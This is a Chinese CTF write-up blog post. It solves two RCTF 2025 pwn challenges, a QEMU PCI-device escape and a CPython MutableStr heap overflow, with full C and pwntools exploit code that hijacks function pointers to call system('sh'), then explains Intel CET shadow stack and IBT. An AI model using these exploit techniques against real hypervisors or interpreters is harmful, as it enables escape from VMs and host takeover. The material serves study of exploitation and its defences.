标签 虚函数表劫持 下的文章

RCTF 2025 pwn,mstr 之后再复现一个相对简单的 qemu escape bbox,如果有空的话再看看那个 v8pwn。(画饼ing

Challenge

附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体:

00000000 struct block // sizeof=0x18
00000000 {
00000000     unsigned int id;
00000004     unsigned int size;
00000008     unsigned int _pad1;
0000000C     unsigned int offset;
00000010     unsigned int _pad2;
00000014     unsigned __int8 encrypted;
00000015     unsigned __int8 valid;
00000016     unsigned __int8 _pad3[2];
00000018 };

00000000 struct virtsec_device // sizeof=0x10E8
00000000 {
00000000     unsigned __int8 _pad0[3024];
00000BD0     unsigned int status;
00000BD4     unsigned int session_id;
00000BD8     unsigned int error_code;
00000BDC     unsigned __int8 _pad1[32];
00000BFC     unsigned int alloc_size;
00000C00     unsigned int _pad2[2];
00000C08     struct block blocks[16];
00000D88     unsigned int _pad3;
00000D8C     unsigned int current_id;
00000D90     unsigned int merge_id1;
00000D94     unsigned int merge_id2;
00000D98     unsigned __int8 data[256];
00000E98     void (*func_ptr)(void *);
00000EA0     void *func_arg;
00000EA8     unsigned __int8 _pad4[256];
00000FA8     unsigned __int8 key_buffer[256];
000010A8     unsigned int reg_10A8;
000010AC     unsigned __int8 _pad6[36];
000010D0     unsigned __int64 reg_10D0;
000010D8     unsigned __int64 reg_10D8;
000010E0     unsigned __int64 reg_10E0;
000010E8 };

之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks,每个块初始大小最高 0x10,但可以通过 merge 命令合并两个及多个块,直至 256 字节。设备还有 gift 寄存器,向其中写入任意内容后,设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针,再次触发 gift 就会将后者作为首个参数执行前者。(另外还有 session、神秘 command 3 和 xor 加解密,不知道能干啥。)

这个 PCI 设备通过 MMIO 交互,我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径(00:04.0 Class 0580: 1234:5678)。

出题人非常贴心的在每个操作都输出了 log,要想看到 qemu_log 输出便于调试,可以添加 qemu 命令行参数 -d guest_errors -D qemu.logqemu_loglevel_mask_64(2048)LOG_GUEST_ERROR)。

Bug

问题出在块合并,merge 似乎没有任何长度检查,只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块,从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。

Exploit

只需要将函数指针改成 system,参数改成 sh 就好了。然而由于某些神秘原因,直接向 offset 256 写入的话 qemu 就直接爆了(?

不过块合并时自然也会复制数据的,所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset,那只好重新 merge 一遍了。

有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello,可能是 pwntools 的问题吧(

Exp:

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define REG_CMD 0x0C
#define REG_ID 0x14
#define REG_SIZE 0x18
#define REG_MERGE1 0x30
#define REG_MERGE2 0x34
#define REG_GIFT 0x38

#define CMD_SESSION 1
#define CMD_ALLOC 2
#define CMD_SELECT 3
#define CMD_MERGE 4
#define CMD_RESET 6

int fd;
volatile void *mmio_ptr;

static void write_reg32(int offset, uint32_t value) {
    *(volatile uint32_t *)(mmio_ptr + offset) = value;
}

static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); }

// static void new_session() { write_reg32(REG_CMD, CMD_SESSION); }

static void alloc_blk(uint32_t id, uint32_t size) {
    write_reg32(REG_ID, id);
    write_reg32(REG_SIZE, size);
    write_reg32(REG_CMD, CMD_ALLOC);
}

static void select_blk(uint32_t id) {
    write_reg32(REG_ID, id);
    // write_reg(REG_CMD, CMD_SELECT);
}

static void merge_blk(uint32_t id1, uint32_t id2) {
    write_reg32(REG_MERGE1, id1);
    write_reg32(REG_MERGE2, id2);
    write_reg32(REG_CMD, CMD_MERGE);
}

static void dev_res() { write_reg32(REG_CMD, CMD_RESET); }

static uint32_t read_data32(size_t offset) {
    return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset);
}

static uint64_t read_data64(size_t offset) {
    uint32_t low32 = read_data32(offset);
    uint32_t high32 = read_data32(offset + 4);
    return ((uint64_t)high32 << 32) | low32;
}

static void write_data32(size_t offset, uint32_t data) {
    *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data;
}

static void write_data64(size_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)data);
    write_data32(offset + 4, (uint32_t)(data >> 32));
}

int main(void) {
    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
    if (fd < 0) {
        perror("open");
        exit(EXIT_FAILURE);
    }
    puts("[*] Device opened.");
    mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mmio_ptr == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    puts("[*] MMIO mmaped.");

    // new_session();
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    merge_blk(0, 1);
    puts("[+] Block merged overflow.");

    trig_gift();
    select_blk(0);
    size_t host_system_addr =
        read_data64(256) - 0xf980;                    // glibc system - printf
    size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system
    printf("[+] Host `system` address: 0x%lx\n", host_system_addr);
    printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr);

    dev_res();
    puts("[*] Reset.");
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    select_blk(1);
    write_data64(0, host_system_addr);
    write_data64(8, host_sh_addr);
    merge_blk(0, 1);
    puts("[+] Gift rewritten.");

    trig_gift();

    munmap((void *)mmio_ptr, 0x2000);
    close(fd);
    return 0;
}

直接读写 MMIO 的指针一定要 ➕ volatile,否则可能被编译器优化掉。

少见的 Python interpreter pwn,漏洞点也很有意思。

Challenge

Python 3.12.4

import ctypes

from typing import Union, List, Dict

STRPTR_OFFSET = 0x28 
LENPTR_OFFSET = 0x10

class MutableStr:
    pass

class MutableStr:
    def __init__(self, data:str):
        self.data = data
        self.base_ptr = id(self.data)
        self.max_size_str = ""

    def set_max_size(self, max_size_str):
        if int(max_size_str) < ((len(self)+7) & ~7):
            self.max_size_str = max_size_str
        else:
            print("can't set max_size: too big")

    def __repr__(self):
        return self.data

    def __str__(self):
        return self.__repr__()        

    def __len__(self):
        if self.base_ptr is None:
            return 0
        ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))
        return ptr[0]
    
    def __getitem__(self, key:int):
        if not isinstance(key, int):
            raise NotImplementedError
        if key >= len(self) or key < 0:
            raise RuntimeError("get overflow")
        
        return self.data[key]

    def __setitem__(self, key:int, value:int):
        if not isinstance(value, int):
            raise NotImplementedError("only support integer value")

        if not isinstance(key, int):
            raise NotImplementedError("only support integer key")

        if key >= len(self) or key < 0:
            raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}")
        
        strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
        strptr[key] = value
    
    def __add__(self, other:Union[str,MutableStr]):
        if isinstance(other, str):
            return MutableStr(self.data + other)
        
        if isinstance(other, MutableStr):
            return MutableStr(self.data + other.data)
        
        raise NotImplementedError()
    
    def _add_str(self, other):
        if self.max_size_str == "":
            max_size = (len(self)+7) & ~7
        else:
            max_size = int(self.max_size_str)
        if len(self)+len(other) <= max_size:
            other_len = len(other)
            strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
            otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char))
            for i in range(other_len):
                strptr[i+len(self)] = otherstrptr[i]
            if len(self)+other_len < max_size:
                # strptr[len(self)+other_len] = 0 
                pass
            ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))[0] += other_len
        else:
            print("Full!")
        return self
    
    def __iadd__(self, other):
        if isinstance(other, str):
            return self._add_str(other)
        if isinstance(other, MutableStr):
            return self._add_str(other.data)
        return self

def new_mstring(data:str) -> MutableStr:
    return MutableStr(data)

mstrings:List[MutableStr] = []

def main():
    while True:
        try:
            cmd, data, *values = input("> ").split()
            if cmd == "new":
                mstrings.append(new_mstring(data))
            
            if cmd == "set_max":
                idx = int(values[0])
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                mstrings[idx].set_max_size(data)
            
            if cmd == "+":
                idx1 = int(data)
                idx2 = int(values[0])
                if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
                    print("invalid index")
                    continue
                mstrings.append(mstrings[idx1]+mstrings[idx2])

            if cmd == "+=":
                idx1 = int(data)
                idx2 = int(values[0])
                if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings):
                    print("invalid index")
                    continue
                mstrings[idx1] += mstrings[idx2]

            if cmd == "print_max":
                idx = int(data)
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                print(mstrings[idx].max_size_str)

            if cmd == "print":
                idx = int(data)
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                print(mstrings[idx].data)

            if cmd == "modify":
                idx = int(data)
                offset = int(values[0])
                val = values[1]
                
                if idx >= len(mstrings) or idx < 0:
                    print("invalid index")
                    continue
                mstrings[idx][offset] = int(val)
        except EOFError:
            break
        except Exception as e:
            print(f"error: {e}")

print("hello!", flush=True)
main()

省流:Python 的 str 不可变,题目用 ctypes 强行实现了一个可变字符串 MutableStr

赛中手写了个 fuzzer,发现了一个很有意思的崩溃,但一直没看懂。(好在让我意识到 CPython 对单字节字符串有特别的优化,见下文。)

Hello!
> new O
> modify 0 0 0
这样就有可能 SIGSEGV,原因是空指针解引用。

Bug

CPython 给每个单字节字符串预先分配了一个对象,位于 python 本身的数据段,所有相同的单字节字符串都指向同一个地方。如果我们先 new 一个 MutableStr '6',将另一个 MutableStrmax_size_str 设置成 '6',那么接下来改 '6' 就是改另一个 MutableStrmax_size_str。(考虑到最终 getshell 时的一些细节,需要用 6 而不是 7。)

Hello!
> new 6
> new 0
> set_max 6 1
> print_max 1
6
> += 0 0
> print_max 1
66

我们由此可以获得任意长溢出写。

CPython 用 PyASCIIObject 存储纯单字节字符串,记录长度,不依赖尾空字节。如果字符串里有非 ASCII 字符,就会改用 PyCompactUnicodeObject,此时 0x28(STRPTR_OFFSET)偏移处新增两个 8 字节字段 utf8_lengthutf8。(见源码 Python-3.12.4/Include/cpython/unicodeobject.h

typedef struct {
    PyObject_HEAD
    Py_ssize_t length;
    Py_hash_t hash;
    struct {
        unsigned int interned:2;
        unsigned int kind:3;
        unsigned int compact:1;
        unsigned int ascii:1;
        unsigned int statically_allocated:1;
        unsigned int :24;
    } state;
} PyASCIIObject;

typedef struct {
    PyASCIIObject _base;
    Py_ssize_t utf8_length;
    char *utf8;
} PyCompactUnicodeObject;

数据紧随这两个结构体之后(8 字节对齐)。CPython 存储 Unicode 字符采用定长编码,通常 UCS2(类似 UTF16),遇到大于两字节的字符则 UCS4。当 utf8 不为 NULL 时,print 就不再重新 UCS2 转 UTF8,而是直接根据这两个字段打印字符串。

但是 MutableStr 没有正确处理非 ASCII 情况,当拼接字符串时仍然向原偏移处即字符串末尾前 16 字节处写入字符串并且增加长度(注意 Python 的字符串长度是指 Unicode 码点数),我们可以结合篡改 max_size_str 从而泄露 Unicode 字符串 data 后任意偏移大约 16 字节的信息。

Exploit

笔者十分不喜欢 glibc heap pwn。以下解法不依赖特定 libc 版本,也没有 🏠。

每个 PyObject 都有一个 PyTypeObject 指针,表示对象的类型,其中有类型信息和各种操作的虚函数指针等。由于动态分配的对象在 pymalloc(不大于 512 字节)或 libc 堆上,所以理所应当可能有相邻对象的 PyTypeObject 指针,从而泄露 PIE 基址。

这里有个细节,当实际使用 print 命令打印这个字符串时,泄露出来的信息会变成其他字符。这是 builtin_print 时编码转换导致的,我们的脚本需要将实际输出的内容看做 UTF8 字节流再转为 UCS2 字节流以获取原始泄露信息。

得到基址后,我们再越界写篡改刚才提到的预先分配好的单字节字符串对象的 PyTypeObject 指针,提前伪造虚函数表,print 伪造了虚函数表的 data 从而劫持控制流。

Exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug', terminal = ['konsole', '-e'])
binary = './python'
io = process([binary, 'mstr.py'])
e = ELF(binary)

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def new_bytes(content: bytes, index: int) -> None:
    io.sendlineafter(b'> ', b'new ' + b'\x00' * len(content))
    context.log_level='info'
    for i, c in enumerate(content):
        io.sendlineafter(b'> ', f'modify {index} {i} {c}'.encode())
    context.log_level='debug'


io.sendlineafter(b'> ', 'new 瑞克'.encode())
io.sendlineafter(b'> ', 'new \x00'.encode()) # for fake type
io.sendlineafter(b'> ', 'new 6'.encode())
io.sendlineafter(b'> ', b'set_max 6 0')
io.sendlineafter(b'> ', b'set_max 6 1')
io.sendlineafter(b'> ', b'+= 2 2')
io.sendlineafter(b'> ', b'+= 2 2') # max size 6666
io.sendlineafter(b'> ', b'new ' + b'\x00' * 20)
io.sendlineafter(b'> ', '+= 0 3'.encode())
io.sendlineafter(b'> ', 'print 0'.encode())

data_leaked = io.recvline(drop=True).decode('utf-8').encode('utf-16-le')
# for i in range(0, len(data_leaked) - 8, 8):
#     print(f'{u64(data_leaked[i: i + 8]):#x}')
e.address = u64(data_leaked[16:24]) - e.sym['PyBytes_Type']
if e.address % 0x1000 != 0:
    exit(1)
print_leaked('elf_base', e.address)

gdb.attach(io, f'awa *{e.sym['_PyRuntime'] + 62000}')
# modify PyTypeObject ptr & construct fake PyTypeObject
new_bytes(b'cafebab' + cyclic(40).replace(b'caaadaaa', p64(e.sym['_PyRuntime'] + 62000)).replace(
    # For some reasons, `ph\x00` will become `sh\x00` (+= 3)
    b'aaaa', b'ph\x00\x00') + b'\x00' * 88 + p64(e.plt['system']), 4)
io.sendlineafter(b'> ', b'+= 1 4')

io.sendlineafter(b'> ', 'new \x01'.encode())  # fake type victim
io.sendlineafter(b'> ', 'print 5'.encode())  # invoke virtual function

io.interactive()

🐍🔥🐍🔥🐍🔥🐍🔥

由于堆布局每次运行时不同,只是有概率成功(如果加上堆喷可以做到每次成功)。以上 exploit 不破坏控制流完整性,即使开启 SHSTK 和 IBT 保护也可以绕过。

Intel CET

Intel CET(Controlflow Enforcement Technology / 控制流加固技术)CFI(Control Flow Integrity / 控制流完整性)检查是近些年兴起的保护机制,其中包含 SHSTK(SHadow STacK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake(11 代)及以上 CPU 才支持。

SHSTK 是一种后向控制流完整性(Backward-edge CFI)检查(简单来说是在“返回”时的检查),一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈,一个是众所周知的栈区,另一个是新增的“影子栈”,只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈,如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,也就是所有 ROP 攻击都将失效

IBT 是一种前向控制流完整性(Forward-edge CFI)检查(简单来说是在“调用”时的检查)。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32,如果是就不执行任何操作(类似 nop),如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟,例如 Windows CFG、Clang CFI 等,但是会大幅降低程序性能,每次虚函数调用等都需要校验,实用价值有限。

目前 Windows 只支持 Shadow Stack(Windows CFG),还不支持以 endbr 指令为基础的 IBT(存疑,Windows 我不熟悉);Linux 上也几乎没有程序启用这项保护,算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式?(Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题,但好像没开 ASLR,解法是直接篡改 shadow stack 本身再 ROP。)

验证 Intel CET 是否可用

接下来是在 Linux 上实验启用 CET 的具体操作,主要是 Shadow Stack。首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

GCC / glibc 环境启用 Intel CET

Glibc 已经在其 ld.so 中初步支持 Intel CET 保护。

我的环境:

CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz
Kernel: 6.14.7-zen2-1-zen (archlinux)
glibc: GNU C Library (GNU libc) stable release version 2.41

如果自己的电脑没有 Intel CET 软硬件支持,推荐使用 eqqie 学长开发的 qemu 插件(github)。我的电脑由于恰好满足所有条件,所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

保护效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个较大的匿名内存区域,这就是 Shadow Stack。在一个 glibc 中调用层级较深的函数下断点,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈),与 back trace 相符。

我们可以试试在 SHSTK 开启时栈溢出修改栈上返回地址劫持控制流是否还有效。

#include <stdio.h>

int main() {
    char buf[0x10];
    gets(buf);
    return 0;
}
$ gcc -fcf-protection=full --ansi -fno-stack-protector main.c
pwndbg> r
Starting program: /home/rik/Desktop/a.out 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
aaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555167 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──[ REGISTERS / show-flags off / show-compact-regs off ]──
 RAX  0
 RBX  0
 RCX  0x7ffff7f6c7c0 ◂— 0
 RDX  0x7ffff7f6c7c0 ◂— 0
 RDI  0x7fffffffe151 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa'
 RSI  0x5555555592a1 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa\n'
 R8   0x5555555592b9 ◂— 0
 R9   0xfbad2288
 R10  0
 R11  0x202
 R12  0x7fffffffe288 —▸ 0x7fffffffe658 ◂— '/home/rik/Desktop/a.out'
 R13  1
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0x555555557dd8 —▸ 0x5555555550f0 ◂— endbr64 
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffe168 —▸ 0x7ffff7dab600 ◂— cmp al, 0xff
 RIP  0x555555555167 (main+30) ◂— ret 
──[ DISASM / x86-64 / set emulate on ]──
 ► 0x555555555167 <main+30>    ret                                <0x7ffff7dab600>
     ↓
   0x7ffff7dab600              cmp    al, 0xff     0x0 - 0xff     EFLAGS => 0x213 [ CF pf AF zf sf IF df of ]
...
pwndbg> xinfo 0x7ffff7dab600
Extended information for virtual address 0x7ffff7dab600:

  Containing mapping:
    0x7ffff7da8000     0x7ffff7f18000 r-xp   170000  24000 /usr/lib/libc.so.6

可以看到程序在 ret 处就已经产生段错误,连 RIP 都还不是篡改后的地址。

用户态的 Shadow Stack 目前依旧是实验性的功能,在我自己电脑上测试,设置上述环境变量(on)后连 gdb 都打不开了...

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

Linux 用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld.so(注意要使用宏函数,原因见上方源码中注释):

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    
    // ...
    
    DISABLE_SHSTK // 或者直接 exit(0);
    return 0;
}

SHSTK 内核底层实现

arch_prctl 在处理 SHSTK 相关操作时会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。SHSTK 本身主要由硬件实现,内核只负责检查参数、管理 shadow stack 内存页、通过 wrss 指令设置相关寄存器和异常处理等。

